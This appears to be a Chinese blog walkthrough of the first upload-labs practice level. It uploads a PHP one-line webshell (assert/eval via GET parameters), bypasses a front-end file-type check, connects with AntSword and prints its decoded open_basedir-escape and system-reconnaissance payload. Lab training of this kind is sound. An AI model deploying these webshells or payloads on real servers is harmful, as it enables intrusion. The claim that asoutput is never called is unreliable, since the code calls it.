赞
踩
目录
小皮面板搭建:upload-labs靶场
这是一个最简单的一句话木马,我们用GET传参接受了两个参数,其最终目的是构造出:assert($_GET['1']) -> assert(eval(phpinfo()))这样的语句。这里是因为assert只能执行函数,不能执行字符串形式的参数。我们也可以直接构造eval,但是很容易被杀,在我个人电脑上我们可以关闭保护软件,但是我们可以关闭网站服务器的杀毒软件吗?显然不能,所以这里我们使用了传参来构建一句话木马。
这里以第一关为例:
我们上传发现不允许php文件上传,根据弹窗很明显发现这是一个白名单限制,我们看看源码。这个网站的防御规则很清晰了,他是在前端防御,谷歌浏览器提供一个不加载JavaScript的功能。我们设置成不允许,刷新靶场再次上传木马文件发现上传成功了。接下来复制图片地址根据一句话木马的构造思路进行传参。发现木马执行了phpinfo(),这究竟是为什么呢?我们一起来看看它的原理吧!
思路:先利用中国蚁剑进行连接,在进行抓包看看究竟有什么东西。
- url:http://10.5.50.55/upload-labs/upload/web.php?0=assert&1=eval($_POST['muma'])
- 密码:muma
添加成功,点击左上角AntSword设置网站代理:127.0.0.1端口:8080
接下来就开始抓包了。抓到了,完了我将它进行转码看看究竟是什么吧
- @ini_set("display_errors", "0");
- @set_time_limit(0);
-
- $opdir = @ini_get("open_basedir");
- if ($opdir) {
- $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
- $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
- @array_push($oparr, $ocwd, sys_get_temp_dir());
- foreach ($oparr as $item) {
- if (!@is_writable($item)) {
- continue;
- };
- $tmdir = $item . "/.66b0688826";
- @mkdir($tmdir);
- if (!@file_exists($tmdir)) {
- continue;
- }
- $tmdir = realpath($tmdir);
- @chdir($tmdir);
- @ini_set("open_basedir", "..");
- $cntarr = @preg_split("/\\\\|\//", $tmdir);
- for ($i = 0; $i < sizeof($cntarr); $i++) {
- @chdir("..");
- };
- @ini_set("open_basedir", "/");
- @rmdir($tmdir);
- break;
- };
- };
-
- function asenc($out)
- {
- return $out;
- };
-
- function asoutput()
- {
- $output = ob_get_contents();
- ob_end_clean();
- echo "9a4f" . "2074";
- echo @asenc($output);
- echo "05c31" . "7aefb";
- }
-
- ob_start();
- try {
- $D = dirname($_SERVER["SCRIPT_FILENAME"]);
- if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
- $R = "{$D} ";
- if (substr($D, 0, 1) != "/") {
- foreach (range("C", "Z") as $L)
- if (is_dir("{$L}:")) $R .= "{$L}:";
- } else {
- $R .= "/";
- }
- $R .= " ";
- $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
- $s = ($u) ? $u["name"] : @get_current_user();
- $R .= php_uname();
- $R .= " {$s}";
- echo $R;
- } catch (Exception $e) {
- echo "ERROR://" . $e->getMessage();
- };
- asoutput();
- die();
解完码之后是这串代码,这段代码的功能包括:
ini_set("display_errors", "0")
)set_time_limit(0)
)open_basedir
设置,并对其进行一系列操作:检查是否存在可写目录,并在其中创建一个名为 .66b0688826
的隐藏目录尝试移动到该目录,并修改 open_basedir
设置以访问上层目录移除创建的隐藏目录asenc
和 asoutput
,但它们在代码中并没有被直接调用muma=%40eval(%40base64_decode(%24_POST%5B'u91112c5bcc0a7'%5D))%3B
这串代码是在对上一个代码进行base64解码,完了我们还要执行assert(eval(muma)) 这就是一句话木马的总体原理。我们通过右边可以发现我们的盘符、系统等信息都被爆出来了。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。